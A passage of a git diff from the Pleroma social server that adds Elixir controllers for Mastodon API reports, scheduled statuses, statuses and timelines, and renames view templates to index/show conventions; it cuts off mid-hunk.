+# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.ReportController do + alias Pleroma.Plugs.OAuthScopesPlug + + use Pleroma.Web, :controller + + action_fallback(Pleroma.Web.MastodonAPI.FallbackController) + + plug(OAuthScopesPlug, %{scopes: ["write:reports"]} when action == :create) + + @doc "POST /api/v1/reports" + def create(%{assigns: %{user: user}} = conn, params) do + with {:ok, activity} <- Pleroma.Web.CommonAPI.report(user, params) do + render(conn, "show.json", activity: activity) + end + end +end diff --git a/lib/pleroma/web/mastodon_api/controllers/scheduled_activity_controller.ex b/lib/pleroma/web/mastodon_api/controllers/scheduled_activity_controller.ex new file mode 100644 index 000000000..ff9276541 --- /dev/null +++ b/lib/pleroma/web/mastodon_api/controllers/scheduled_activity_controller.ex @@ -0,0 +1,59 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.ScheduledActivityController do + use Pleroma.Web, :controller + + import Pleroma.Web.ControllerHelper, only: [add_link_headers: 2] + + alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.ScheduledActivity + alias Pleroma.Web.MastodonAPI.MastodonAPI + + plug(:assign_scheduled_activity when action != :index) + + @oauth_read_actions [:show, :index] + + plug(OAuthScopesPlug, %{scopes: ["read:statuses"]} when action in @oauth_read_actions) + plug(OAuthScopesPlug, %{scopes: ["write:statuses"]} when action not in @oauth_read_actions) + + plug(Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug) + + action_fallback(Pleroma.Web.MastodonAPI.FallbackController) + + @doc "GET /api/v1/scheduled_statuses" + def index(%{assigns: %{user: user}} = conn, params) do + with scheduled_activities <- MastodonAPI.get_scheduled_activities(user, params) do + conn + |> add_link_headers(scheduled_activities) + |> render("index.json", scheduled_activities: scheduled_activities) + end + end + + @doc "GET /api/v1/scheduled_statuses/:id" + def show(%{assigns: %{scheduled_activity: scheduled_activity}} = conn, _params) do + render(conn, "show.json", scheduled_activity: scheduled_activity) + end + + @doc "PUT /api/v1/scheduled_statuses/:id" + def update(%{assigns: %{scheduled_activity: scheduled_activity}} = conn, params) do + with {:ok, scheduled_activity} <- ScheduledActivity.update(scheduled_activity, params) do + render(conn, "show.json", scheduled_activity: scheduled_activity) + end + end + + @doc "DELETE /api/v1/scheduled_statuses/:id" + def delete(%{assigns: %{scheduled_activity: scheduled_activity}} = conn, _params) do + with {:ok, scheduled_activity} <- ScheduledActivity.delete(scheduled_activity) do + render(conn, "show.json", scheduled_activity: scheduled_activity) + end + end + + defp assign_scheduled_activity(%{assigns: %{user: user}, params: %{"id" => id}} = conn, _) do + case ScheduledActivity.get(user, id) do + %ScheduledActivity{} = activity -> assign(conn, :scheduled_activity, activity) + nil -> Pleroma.Web.MastodonAPI.FallbackController.call(conn, {:error, :not_found}) |> halt() + end + end +end diff --git a/lib/pleroma/web/mastodon_api/controllers/search_controller.ex b/lib/pleroma/web/mastodon_api/controllers/search_controller.ex index f49ca89ed..9f39b00f8 100644 --- a/lib/pleroma/web/mastodon_api/controllers/search_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/search_controller.ex @@ -24,9 +24,10 @@ defmodule Pleroma.Web.MastodonAPI.SearchController do def account_search(%{assigns: %{user: user}} = conn, %{"q" => query} = params) do accounts = User.search(query, search_options(params, user)) - res = AccountView.render("accounts.json", users: accounts, for: user, as: :user) - json(conn, res) + conn + |> put_view(AccountView) + |> render("index.json", users: accounts, for: user, as: :user) end def search2(conn, params), do: do_search(:v2, conn, params) @@ -76,7 +77,7 @@ defp search_options(params, user) do defp resource_search(_, "accounts", query, options) do accounts = with_fallback(fn -> User.search(query, options) end) - AccountView.render("accounts.json", users: accounts, for: options[:for_user], as: :user) + AccountView.render("index.json", users: accounts, for: options[:for_user], as: :user) end defp resource_search(_, "statuses", query, options) do diff --git a/lib/pleroma/web/mastodon_api/controllers/status_controller.ex b/lib/pleroma/web/mastodon_api/controllers/status_controller.ex new file mode 100644 index 000000000..ee9047d1c --- /dev/null +++ b/lib/pleroma/web/mastodon_api/controllers/status_controller.ex @@ -0,0 +1,325 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.StatusController do + use Pleroma.Web, :controller + + import Pleroma.Web.MastodonAPI.MastodonAPIController, only: [try_render: 3] + + require Ecto.Query + + alias Pleroma.Activity + alias Pleroma.Bookmark + alias Pleroma.Object + alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Plugs.RateLimiter + alias Pleroma.Repo + alias Pleroma.ScheduledActivity + alias Pleroma.User + alias Pleroma.Web.ActivityPub.ActivityPub + alias Pleroma.Web.ActivityPub.Visibility + alias Pleroma.Web.CommonAPI + alias Pleroma.Web.MastodonAPI.AccountView + alias Pleroma.Web.MastodonAPI.ScheduledActivityView + + @unauthenticated_access %{fallback: :proceed_unauthenticated, scopes: []} + + plug( + OAuthScopesPlug, + %{@unauthenticated_access | scopes: ["read:statuses"]} + when action in [ + :index, + :show, + :card, + :context + ] + ) + + plug( + OAuthScopesPlug, + %{scopes: ["write:statuses"]} + when action in [ + :create, + :delete, + :reblog, + :unreblog + ] + ) + + plug( + OAuthScopesPlug, + %{scopes: ["write:favourites"]} when action in [:favourite, :unfavourite] + ) + + plug( + OAuthScopesPlug, + %{scopes: ["write:mutes"]} when action in [:mute_conversation, :unmute_conversation] + ) + + plug( + OAuthScopesPlug, + %{@unauthenticated_access | scopes: ["read:accounts"]} + when action in [:favourited_by, :reblogged_by] + ) + + plug(OAuthScopesPlug, %{scopes: ["write:accounts"]} when action in [:pin, :unpin]) + + # Note: scope not present in Mastodon: write:bookmarks + plug( + OAuthScopesPlug, + %{scopes: ["write:bookmarks"]} when action in [:bookmark, :unbookmark] + ) + + plug(Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug) + + @rate_limited_status_actions ~w(reblog unreblog favourite unfavourite create delete)a + + plug( + RateLimiter, + {:status_id_action, bucket_name: "status_id_action:reblog_unreblog", params: ["id"]} + when action in ~w(reblog unreblog)a + ) + + plug( + RateLimiter, + {:status_id_action, bucket_name: "status_id_action:fav_unfav", params: ["id"]} + when action in ~w(favourite unfavourite)a + ) + + plug(RateLimiter, :statuses_actions when action in @rate_limited_status_actions) + + action_fallback(Pleroma.Web.MastodonAPI.FallbackController) + + @doc """ + GET `/api/v1/statuses?ids[]=1&ids[]=2` + + `ids` query param is required + """ + def index(%{assigns: %{user: user}} = conn, %{"ids" => ids}) do + limit = 100 + + activities = + ids + |> Enum.take(limit) + |> Activity.all_by_ids_with_object() + |> Enum.filter(&Visibility.visible_for_user?(&1, user)) + + render(conn, "index.json", activities: activities, for: user, as: :activity) + end + + @doc """ + POST /api/v1/statuses + + Creates a scheduled status when `scheduled_at` param is present and it's far enough + """ + def create( + %{assigns: %{user: user}} = conn, + %{"status" => _, "scheduled_at" => scheduled_at} = params + ) do + params = Map.put(params, "in_reply_to_status_id", params["in_reply_to_id"]) + + if ScheduledActivity.far_enough?(scheduled_at) do + with {:ok, scheduled_activity} <- + ScheduledActivity.create(user, %{"params" => params, "scheduled_at" => scheduled_at}) do + conn + |> put_view(ScheduledActivityView) + |> render("show.json", scheduled_activity: scheduled_activity) + end + else + create(conn, Map.drop(params, ["scheduled_at"])) + end + end + + @doc """ + POST /api/v1/statuses + + Creates a regular status + """ + def create(%{assigns: %{user: user}} = conn, %{"status" => _} = params) do + params = Map.put(params, "in_reply_to_status_id", params["in_reply_to_id"]) + + with {:ok, activity} <- CommonAPI.post(user, params) do + try_render(conn, "show.json", + activity: activity, + for: user, + as: :activity, + with_direct_conversation_id: true + ) + else + {:error, message} -> + conn + |> put_status(:unprocessable_entity) + |> json(%{error: message}) + end + end + + def create(%{assigns: %{user: _user}} = conn, %{"media_ids" => _} = params) do + create(conn, Map.put(params, "status", "")) + end + + @doc "GET /api/v1/statuses/:id" + def show(%{assigns: %{user: user}} = conn, %{"id" => id}) do + with %Activity{} = activity <- Activity.get_by_id_with_object(id), + true <- Visibility.visible_for_user?(activity, user) do + try_render(conn, "show.json", activity: activity, for: user) + end + end + + @doc "DELETE /api/v1/statuses/:id" + def delete(%{assigns: %{user: user}} = conn, %{"id" => id}) do + with {:ok, %Activity{}} <- CommonAPI.delete(id, user) do + json(conn, %{}) + else + _e -> render_error(conn, :forbidden, "Can't delete this post") + end + end + + @doc "POST /api/v1/statuses/:id/reblog" + def reblog(%{assigns: %{user: user}} = conn, %{"id" => ap_id_or_id}) do + with {:ok, announce, _activity} <- CommonAPI.repeat(ap_id_or_id, user), + %Activity{} = announce <- Activity.normalize(announce.data) do + try_render(conn, "show.json", %{activity: announce, for: user, as: :activity}) + end + end + + @doc "POST /api/v1/statuses/:id/unreblog" + def unreblog(%{assigns: %{user: user}} = conn, %{"id" => ap_id_or_id}) do + with {:ok, _unannounce, %{data: %{"id" => id}}} <- CommonAPI.unrepeat(ap_id_or_id, user), + %Activity{} = activity <- Activity.get_create_by_object_ap_id_with_object(id) do + try_render(conn, "show.json", %{activity: activity, for: user, as: :activity}) + end + end + + @doc "POST /api/v1/statuses/:id/favourite" + def favourite(%{assigns: %{user: user}} = conn, %{"id" => ap_id_or_id}) do + with {:ok, _fav, %{data: %{"id" => id}}} <- CommonAPI.favorite(ap_id_or_id, user), + %Activity{} = activity <- Activity.get_create_by_object_ap_id(id) do + try_render(conn, "show.json", activity: activity, for: user, as: :activity) + end + end + + @doc "POST /api/v1/statuses/:id/unfavourite" + def unfavourite(%{assigns: %{user: user}} = conn, %{"id" => ap_id_or_id}) do + with {:ok, _, _, %{data: %{"id" => id}}} <- CommonAPI.unfavorite(ap_id_or_id, user), + %Activity{} = activity <- Activity.get_create_by_object_ap_id(id) do + try_render(conn, "show.json", activity: activity, for: user, as: :activity) + end + end + + @doc "POST /api/v1/statuses/:id/pin" + def pin(%{assigns: %{user: user}} = conn, %{"id" => ap_id_or_id}) do + with {:ok, activity} <- CommonAPI.pin(ap_id_or_id, user) do + try_render(conn, "show.json", activity: activity, for: user, as: :activity) + end + end + + @doc "POST /api/v1/statuses/:id/unpin" + def unpin(%{assigns: %{user: user}} = conn, %{"id" => ap_id_or_id}) do + with {:ok, activity} <- CommonAPI.unpin(ap_id_or_id, user) do + try_render(conn, "show.json", activity: activity, for: user, as: :activity) + end + end + + @doc "POST /api/v1/statuses/:id/bookmark" + def bookmark(%{assigns: %{user: user}} = conn, %{"id" => id}) do + with %Activity{} = activity <- Activity.get_by_id_with_object(id), + %User{} = user <- User.get_cached_by_nickname(user.nickname), + true <- Visibility.visible_for_user?(activity, user), + {:ok, _bookmark} <- Bookmark.create(user.id, activity.id) do + try_render(conn, "show.json", activity: activity, for: user, as: :activity) + end + end + + @doc "POST /api/v1/statuses/:id/unbookmark" + def unbookmark(%{assigns: %{user: user}} = conn, %{"id" => id}) do + with %Activity{} = activity <- Activity.get_by_id_with_object(id), + %User{} = user <- User.get_cached_by_nickname(user.nickname), + true <- Visibility.visible_for_user?(activity, user), + {:ok, _bookmark} <- Bookmark.destroy(user.id, activity.id) do + try_render(conn, "show.json", activity: activity, for: user, as: :activity) + end + end + + @doc "POST /api/v1/statuses/:id/mute" + def mute_conversation(%{assigns: %{user: user}} = conn, %{"id" => id}) do + with %Activity{} = activity <- Activity.get_by_id(id), + {:ok, activity} <- CommonAPI.add_mute(user, activity) do + try_render(conn, "show.json", activity: activity, for: user, as: :activity) + end + end + + @doc "POST /api/v1/statuses/:id/unmute" + def unmute_conversation(%{assigns: %{user: user}} = conn, %{"id" => id}) do + with %Activity{} = activity <- Activity.get_by_id(id), + {:ok, activity} <- CommonAPI.remove_mute(user, activity) do + try_render(conn, "show.json", activity: activity, for: user, as: :activity) + end + end + + @doc "GET /api/v1/statuses/:id/card" + @deprecated "https://github.com/tootsuite/mastodon/pull/11213" + def card(%{assigns: %{user: user}} = conn, %{"id" => status_id}) do + with %Activity{} = activity <- Activity.get_by_id(status_id), + true <- Visibility.visible_for_user?(activity, user) do + data = Pleroma.Web.RichMedia.Helpers.fetch_data_for_activity(activity) + render(conn, "card.json", data) + else + _ -> render_error(conn, :not_found, "Record not found") + end + end + + @doc "GET /api/v1/statuses/:id/favourited_by" + def favourited_by(%{assigns: %{user: user}} = conn, %{"id" => id}) do + with %Activity{} = activity <- Activity.get_by_id_with_object(id), + {:visible, true} <- {:visible, Visibility.visible_for_user?(activity, user)}, + %Object{data: %{"likes" => likes}} <- Object.normalize(activity) do + users = + User + |> Ecto.Query.where([u], u.ap_id in ^likes) + |> Repo.all() + |> Enum.filter(&(not User.blocks?(user, &1))) + + conn + |> put_view(AccountView) + |> render("index.json", for: user, users: users, as: :user) + else + {:visible, false} -> {:error, :not_found} + _ -> json(conn, []) + end + end + + @doc "GET /api/v1/statuses/:id/reblogged_by" + def reblogged_by(%{assigns: %{user: user}} = conn, %{"id" => id}) do + with %Activity{} = activity <- Activity.get_by_id_with_object(id), + {:visible, true} <- {:visible, Visibility.visible_for_user?(activity, user)}, + %Object{data: %{"announcements" => announces}} <- Object.normalize(activity) do + users = + User + |> Ecto.Query.where([u], u.ap_id in ^announces) + |> Repo.all() + |> Enum.filter(&(not User.blocks?(user, &1))) + + conn + |> put_view(AccountView) + |> render("index.json", for: user, users: users, as: :user) + else + {:visible, false} -> {:error, :not_found} + _ -> json(conn, []) + end + end + + @doc "GET /api/v1/statuses/:id/context" + def context(%{assigns: %{user: user}} = conn, %{"id" => id}) do + with %Activity{} = activity <- Activity.get_by_id(id) do + activities = + ActivityPub.fetch_activities_for_context(activity.data["context"], %{ + "blocking_user" => user, + "user" => user, + "exclude_id" => activity.id + }) + + render(conn, "context.json", activity: activity, activities: activities, user: user) + end + end +end diff --git a/lib/pleroma/web/mastodon_api/controllers/timeline_controller.ex b/lib/pleroma/web/mastodon_api/controllers/timeline_controller.ex new file mode 100644 index 000000000..9f086a8c2 --- /dev/null +++ b/lib/pleroma/web/mastodon_api/controllers/timeline_controller.ex @@ -0,0 +1,142 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.TimelineController do + use Pleroma.Web, :controller + + import Pleroma.Web.ControllerHelper, + only: [add_link_headers: 2, add_link_headers: 3, truthy_param?: 1] + + alias Pleroma.Pagination + alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Web.ActivityPub.ActivityPub + + plug(OAuthScopesPlug, %{scopes: ["read:statuses"]} when action in [:home, :direct]) + plug(OAuthScopesPlug, %{scopes: ["read:lists"]} when action == :list) + + plug(Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug) + + plug(:put_view, Pleroma.Web.MastodonAPI.StatusView) + + # GET /api/v1/timelines/home + def home(%{assigns: %{user: user}} = conn, params) do + params = + params + |> Map.put("type", ["Create", "Announce"]) + |> Map.put("blocking_user", user) + |> Map.put("muting_user", user) + |> Map.put("user", user) + + recipients = [user.ap_id | user.following] + + activities = + recipients + |> ActivityPub.fetch_activities(params) + |> Enum.reverse() + + conn + |> add_link_headers(activities) + |> render("index.json", activities: activities, for: user, as: :activity) + end + + # GET /api/v1/timelines/direct + def direct(%{assigns: %{user: user}} = conn, params) do + params = + params + |> Map.put("type", "Create") + |> Map.put("blocking_user", user) + |> Map.put("user", user) + |> Map.put(:visibility, "direct") + + activities = + [user.ap_id] + |> ActivityPub.fetch_activities_query(params) + |> Pagination.fetch_paginated(params) + + conn + |> add_link_headers(activities) + |> render("index.json", activities: activities, for: user, as: :activity) + end + + # GET /api/v1/timelines/public + def public(%{assigns: %{user: user}} = conn, params) do + local_only = truthy_param?(params["local"]) + + activities = + params + |> Map.put("type", ["Create", "Announce"]) + |> Map.put("local_only", local_only) + |> Map.put("blocking_user", user) + |> Map.put("muting_user", user) + |> ActivityPub.fetch_public_activities() + |> Enum.reverse() + + conn + |> add_link_headers(activities, %{"local" => local_only}) + |> render("index.json", activities: activities, for: user, as: :activity) + end + + # GET /api/v1/timelines/tag/:tag + def hashtag(%{assigns: %{user: user}} = conn, params) do + local_only = truthy_param?(params["local"]) + + tags = + [params["tag"], params["any"]] + |> List.flatten() + |> Enum.uniq() + |> Enum.filter(& &1) + |> Enum.map(&String.downcase(&1)) + + tag_all = + params + |> Map.get("all", []) + |> Enum.map(&String.downcase(&1)) + + tag_reject = + params + |> Map.get("none", []) + |> Enum.map(&String.downcase(&1)) + + activities = + params + |> Map.put("type", "Create") + |> Map.put("local_only", local_only) + |> Map.put("blocking_user", user) + |> Map.put("muting_user", user) + |> Map.put("user", user) + |> Map.put("tag", tags) + |> Map.put("tag_all", tag_all) + |> Map.put("tag_reject", tag_reject) + |> ActivityPub.fetch_public_activities() + |> Enum.reverse() + + conn + |> add_link_headers(activities, %{"local" => local_only}) + |> render("index.json", activities: activities, for: user, as: :activity) + end + + # GET /api/v1/timelines/list/:list_id + def list(%{assigns: %{user: user}} = conn, %{"list_id" => id} = params) do + with %Pleroma.List{title: _title, following: following} <- Pleroma.List.get(id, user) do + params = + params + |> Map.put("type", "Create") + |> Map.put("blocking_user", user) + |> Map.put("user", user) + |> Map.put("muting_user", user) + + # we must filter the following list for the user to avoid leaking statuses the user + # does not actually have permission to see (for more info, peruse security issue #270). + activities = + following + |> Enum.filter(fn x -> x in user.following end) + |> ActivityPub.fetch_activities_bounded(following, params) + |> Enum.reverse() + + render(conn, "index.json", activities: activities, for: user, as: :activity) + else + _e -> render_error(conn, :forbidden, "Error.") + end + end +end diff --git a/lib/pleroma/web/mastodon_api/views/account_view.ex b/lib/pleroma/web/mastodon_api/views/account_view.ex index 195dd124b..99169ef95 100644 --- a/lib/pleroma/web/mastodon_api/views/account_view.ex +++ b/lib/pleroma/web/mastodon_api/views/account_view.ex @@ -11,15 +11,15 @@ defmodule Pleroma.Web.MastodonAPI.AccountView do alias Pleroma.Web.MastodonAPI.AccountView alias Pleroma.Web.MediaProxy - def render("accounts.json", %{users: users} = opts) do + def render("index.json", %{users: users} = opts) do users - |> render_many(AccountView, "account.json", opts) + |> render_many(AccountView, "show.json", opts) |> Enum.filter(&Enum.any?/1) end - def render("account.json", %{user: user} = opts) do + def render("show.json", %{user: user} = opts) do if User.visible_for?(user, opts[:for]), - do: do_render("account.json", opts), + do: do_render("show.json", opts), else: %{} end @@ -66,7 +66,7 @@ def render("relationships.json", %{user: user, targets: targets}) do render_many(targets, AccountView, "relationship.json", user: user, as: :target) end - defp do_render("account.json", %{user: user} = opts) do + defp do_render("show.json", %{user: user} = opts) do display_name = HTML.strip_tags(user.name || user.nickname) image = User.avatar_url(user) |> MediaProxy.url() @@ -116,6 +116,8 @@ defp do_render("account.json", %{user: user} = opts) do bio = HTML.filter_tags(user.bio, User.html_filter_policy(opts[:for])) relationship = render("relationship.json", %{user: opts[:for], target: user}) + discoverable = user.info.discoverable + %{ id: to_string(user.id), username: username_from_nickname(user.nickname), @@ -139,7 +141,9 @@ defp do_render("account.json", %{user: user} = opts) do note: HTML.strip_tags((user.bio || "") |> String.replace("
", "\n")), sensitive: false, fields: raw_fields, - pleroma: %{} + pleroma: %{ + discoverable: discoverable + } }, # Pleroma extension @@ -162,6 +166,7 @@ defp do_render("account.json", %{user: user} = opts) do |> maybe_put_settings_store(user, opts[:for], opts) |> maybe_put_chat_token(user, opts[:for], opts) |> maybe_put_activation_status(user, opts[:for]) + |> maybe_put_follow_requests_count(user, opts[:for]) end defp username_from_nickname(string) when is_binary(string) do @@ -170,6 +175,21 @@ defp username_from_nickname(string) when is_binary(string) do defp username_from_nickname(_), do: nil + defp maybe_put_follow_requests_count( + data, + %User{id: user_id} = user, + %User{id: user_id} + ) do + count = + User.get_follow_requests(user) + |> length() + + data + |> Kernel.put_in([:follow_requests_count], count) + end + + defp maybe_put_follow_requests_count(data, _, _), do: data + defp maybe_put_settings( data, %User{id: user_id} = user, diff --git a/lib/pleroma/web/mastodon_api/views/conversation_view.ex b/lib/pleroma/web/mastodon_api/views/conversation_view.ex index 40acc07b3..e9d2735b3 100644 --- a/lib/pleroma/web/mastodon_api/views/conversation_view.ex +++ b/lib/pleroma/web/mastodon_api/views/conversation_view.ex @@ -11,6 +11,10 @@ defmodule Pleroma.Web.MastodonAPI.ConversationView do alias Pleroma.Web.MastodonAPI.AccountView alias Pleroma.Web.MastodonAPI.StatusView + def render("participations.json", %{participations: participations, for: user}) do + render_many(participations, __MODULE__, "participation.json", as: :participation, for: user) + end + def render("participation.json", %{participation: participation, for: user}) do participation = Repo.preload(participation, conversation: [], recipients: []) @@ -23,25 +27,14 @@ def render("participation.json", %{participation: participation, for: user}) do end activity = Activity.get_by_id_with_object(last_activity_id) - - last_status = StatusView.render("status.json", %{activity: activity, for: user}) - # Conversations return all users except the current user. - users = - participation.recipients - |> Enum.reject(&(&1.id == user.id)) - - accounts = - AccountView.render("accounts.json", %{ - users: users, - as: :user - }) + users = Enum.reject(participation.recipients, &(&1.id == user.id)) %{ id: participation.id |> to_string(), - accounts: accounts, + accounts: render(AccountView, "index.json", users: users, as: :user), unread: !participation.read, - last_status: last_status + last_status: render(StatusView, "show.json", activity: activity, for: user) } end end diff --git a/lib/pleroma/web/mastodon_api/views/notification_view.ex b/lib/pleroma/web/mastodon_api/views/notification_view.ex index ec8eadcaa..60b58dc90 100644 --- a/lib/pleroma/web/mastodon_api/views/notification_view.ex +++ b/lib/pleroma/web/mastodon_api/views/notification_view.ex @@ -29,7 +29,7 @@ def render("show.json", %{ id: to_string(notification.id), type: mastodon_type, created_at: CommonAPI.Utils.to_masto_date(notification.inserted_at), - account: AccountView.render("account.json", %{user: actor, for: user}), + account: AccountView.render("show.json", %{user: actor, for: user}), pleroma: %{ is_seen: notification.seen } @@ -39,19 +39,19 @@ def render("show.json", %{ "mention" -> response |> Map.merge(%{ - status: StatusView.render("status.json", %{activity: activity, for: user}) + status: StatusView.render("show.json", %{activity: activity, for: user}) }) "favourite" -> response |> Map.merge(%{ - status: StatusView.render("status.json", %{activity: parent_activity, for: user}) + status: StatusView.render("show.json", %{activity: parent_activity, for: user}) }) "reblog" -> response |> Map.merge(%{ - status: StatusView.render("status.json", %{activity: parent_activity, for: user}) + status: StatusView.render("show.json", %{activity: parent_activity, for: user}) }) "follow" -> diff --git a/lib/pleroma/web/mastodon_api/views/report_view.ex b/lib/pleroma/web/mastodon_api/views/report_view.ex index a16e7ff10..9da2dd740 100644 --- a/lib/pleroma/web/mastodon_api/views/report_view.ex +++ b/lib/pleroma/web/mastodon_api/views/report_view.ex @@ -5,7 +5,7 @@ defmodule Pleroma.Web.MastodonAPI.ReportView do use Pleroma.Web, :view - def render("report.json", %{activity: activity}) do + def render("show.json", %{activity: activity}) do %{ id: to_string(activity.id), action_taken: false diff --git a/lib/pleroma/web/mastodon_api/views/scheduled_activity_view.ex b/lib/pleroma/web/mastodon_api/views/scheduled_activity_view.ex index 0aae15ab9..fc042a276 100644 --- a/lib/pleroma/web/mastodon_api/views/scheduled_activity_view.ex +++ b/lib/pleroma/web/mastodon_api/views/scheduled_activity_view.ex @@ -7,11 +7,10 @@ defmodule Pleroma.Web.MastodonAPI.ScheduledActivityView do alias Pleroma.ScheduledActivity alias Pleroma.Web.CommonAPI - alias Pleroma.Web.MastodonAPI.ScheduledActivityView alias Pleroma.Web.MastodonAPI.StatusView def render("index.json", %{scheduled_activities: scheduled_activities}) do - render_many(scheduled_activities, ScheduledActivityView, "show.json") + render_many(scheduled_activities, __MODULE__, "show.json") end def render("show.json", %{scheduled_activity: %ScheduledActivity{} = scheduled_activity}) do @@ -24,12 +23,8 @@ def render("show.json", %{scheduled_activity: %ScheduledActivity{} = scheduled_a end defp with_media_attachments(data, %{params: %{"media_attachments" => media_attachments}}) do - try do - attachments = render_many(media_attachments, StatusView, "attachment.json", as: :attachment) - Map.put(data, :media_attachments, attachments) - rescue - _ -> data - end + attachments = render_many(media_attachments, StatusView, "attachment.json", as: :attachment) + Map.put(data, :media_attachments, attachments) end defp with_media_attachments(data, _), do: data @@ -45,13 +40,9 @@ defp status_params(params) do in_reply_to_id: params["in_reply_to_id"] } - data = - if media_ids = params["media_ids"] do - Map.put(data, :media_ids, media_ids) - else - data - end - - data + case params["media_ids"] do + nil -> data + media_ids -> Map.put(data, :media_ids, media_ids) + end end end diff --git a/lib/pleroma/web/mastodon_api/views/status_view.ex b/lib/pleroma/web/mastodon_api/views/status_view.ex index ef796cddd..bc527ad1b 100644 --- a/lib/pleroma/web/mastodon_api/views/status_view.ex +++ b/lib/pleroma/web/mastodon_api/views/status_view.ex @@ -73,17 +73,13 @@ defp reblogged?(activity, user) do def render("index.json", opts) do replied_to_activities = get_replied_to_activities(opts.activities) + opts = Map.put(opts, :replied_to_activities, replied_to_activities) - opts.activities - |> safe_render_many( - StatusView, - "status.json", - Map.put(opts, :replied_to_activities, replied_to_activities) - ) + safe_render_many(opts.activities, StatusView, "show.json", opts) end def render( - "status.json", + "show.json", %{activity: %{data: %{"type" => "Announce", "object" => _object}} = activity} = opts ) do user = get_user(activity.data["actor"]) @@ -96,7 +92,7 @@ def render( |> Activity.with_set_thread_muted_field(opts[:for]) |> Repo.one() - reblogged = render("status.json", Map.put(opts, :activity, reblogged_activity)) + reblogged = render("show.json", Map.put(opts, :activity, reblogged_activity)) favorited = opts[:for] && opts[:for].ap_id in (activity_object.data["likes"] || []) @@ -112,7 +108,7 @@ def render( id: to_string(activity.id), uri: activity_object.data["id"], url: activity_object.data["id"], - account: AccountView.render("account.json", %{user: user, for: opts[:for]}), + account: AccountView.render("show.json", %{user: user, for: opts[:for]}), in_reply_to_id: nil, in_reply_to_account_id: nil, reblog: reblogged, @@ -144,7 +140,7 @@ def render( } end - def render("status.json", %{activity: %{data: %{"object" => _object}} = activity} = opts) do + def render("show.json", %{activity: %{data: %{"object" => _object}} = activity} = opts) do object = Object.normalize(activity) user = get_user(activity.data["actor"]) @@ -262,7 +258,7 @@ def render("status.json", %{activity: %{data: %{"object" => _object}} = activity id: to_string(activity.id), uri: object.data["id"], url: url, - account: AccountView.render("account.json", %{user: user, for: opts[:for]}), + account: AccountView.render("show.json", %{user: user, for: opts[:for]}), in_reply_to_id: reply_to && to_string(reply_to.id), in_reply_to_account_id: reply_to_user && to_string(reply_to_user.id), reblog: nil, @@ -303,7 +299,7 @@ def render("status.json", %{activity: %{data: %{"object" => _object}} = activity } end - def render("status.json", _) do + def render("show.json", _) do nil end @@ -343,9 +339,7 @@ def render("card.json", %{rich_media: rich_media, page_url: page_url}) do } end - def render("card.json", _) do - nil - end + def render("card.json", _), do: nil def render("attachment.json", %{attachment: attachment}) do [attachment_url | _] = attachment["url"] @@ -374,6 +368,27 @@ def render("attachment.json", %{attachment: attachment}) do } end + def render("listen.json", %{activity: %Activity{data: %{"type" => "Listen"}} = activity} = opts) do + object = Object.normalize(activity) + + user = get_user(activity.data["actor"]) + created_at = Utils.to_masto_date(activity.data["published"]) + + %{ + id: activity.id, + account: AccountView.render("show.json", %{user: user, for: opts[:for]}), + created_at: created_at, + title: object.data["title"] |> HTML.strip_tags(), + artist: object.data["artist"] |> HTML.strip_tags(), + album: object.data["album"] |> HTML.strip_tags(), + length: object.data["length"] + } + end + + def render("listens.json", opts) do + safe_render_many(opts.activities, StatusView, "listen.json", opts) + end + def render("poll.json", %{object: object} = opts) do {multiple, options} = case object.data do @@ -443,6 +458,20 @@ def render("poll.json", %{object: object} = opts) do end end + def render("context.json", %{activity: activity, activities: activities, user: user}) do + %{ancestors: ancestors, descendants: descendants} = + activities + |> Enum.reverse() + |> Enum.group_by(fn %{id: id} -> if id < activity.id, do: :ancestors, else: :descendants end) + |> Map.put_new(:ancestors, []) + |> Map.put_new(:descendants, []) + + %{ + ancestors: render("index.json", for: user, activities: ancestors, as: :activity), + descendants: render("index.json", for: user, activities: descendants, as: :activity) + } + end + def get_reply_to(activity, %{replied_to_activities: replied_to_activities}) do object = Object.normalize(activity) diff --git a/lib/pleroma/web/metadata/utils.ex b/lib/pleroma/web/metadata/utils.ex index 720bd4519..382ecf426 100644 --- a/lib/pleroma/web/metadata/utils.ex +++ b/lib/pleroma/web/metadata/utils.ex @@ -3,6 +3,7 @@ # SPDX-License-Identifier: AGPL-3.0-only defmodule Pleroma.Web.Metadata.Utils do + alias Pleroma.Emoji alias Pleroma.Formatter alias Pleroma.HTML alias Pleroma.Web.MediaProxy @@ -13,7 +14,7 @@ def scrub_html_and_truncate(%{data: %{"content" => content}} = object) do |> HtmlEntities.decode() |> String.replace(~r//, " ") |> HTML.get_cached_stripped_html_for_activity(object, "metadata") - |> Formatter.demojify() + |> Emoji.Formatter.demojify() |> Formatter.truncate() end @@ -23,7 +24,7 @@ def scrub_html_and_truncate(content, max_length \\ 200) when is_binary(content) |> HtmlEntities.decode() |> String.replace(~r//, " ") |> HTML.strip_tags() - |> Formatter.demojify() + |> Emoji.Formatter.demojify() |> Formatter.truncate(max_length) end diff --git a/lib/pleroma/web/nodeinfo/nodeinfo_controller.ex b/lib/pleroma/web/nodeinfo/nodeinfo_controller.ex index ee14cfd6b..192984242 100644 --- a/lib/pleroma/web/nodeinfo/nodeinfo_controller.ex +++ b/lib/pleroma/web/nodeinfo/nodeinfo_controller.ex @@ -57,6 +57,7 @@ def raw_nodeinfo do "mastodon_api_streaming", "polls", "pleroma_explicit_addressing", + "shareable_emoji_packs", if Config.get([:media_proxy, :enabled]) do "media_proxy" end, diff --git a/lib/pleroma/web/oauth/app.ex b/lib/pleroma/web/oauth/app.ex index ddcdb1871..cc3fb1ce5 100644 --- a/lib/pleroma/web/oauth/app.ex +++ 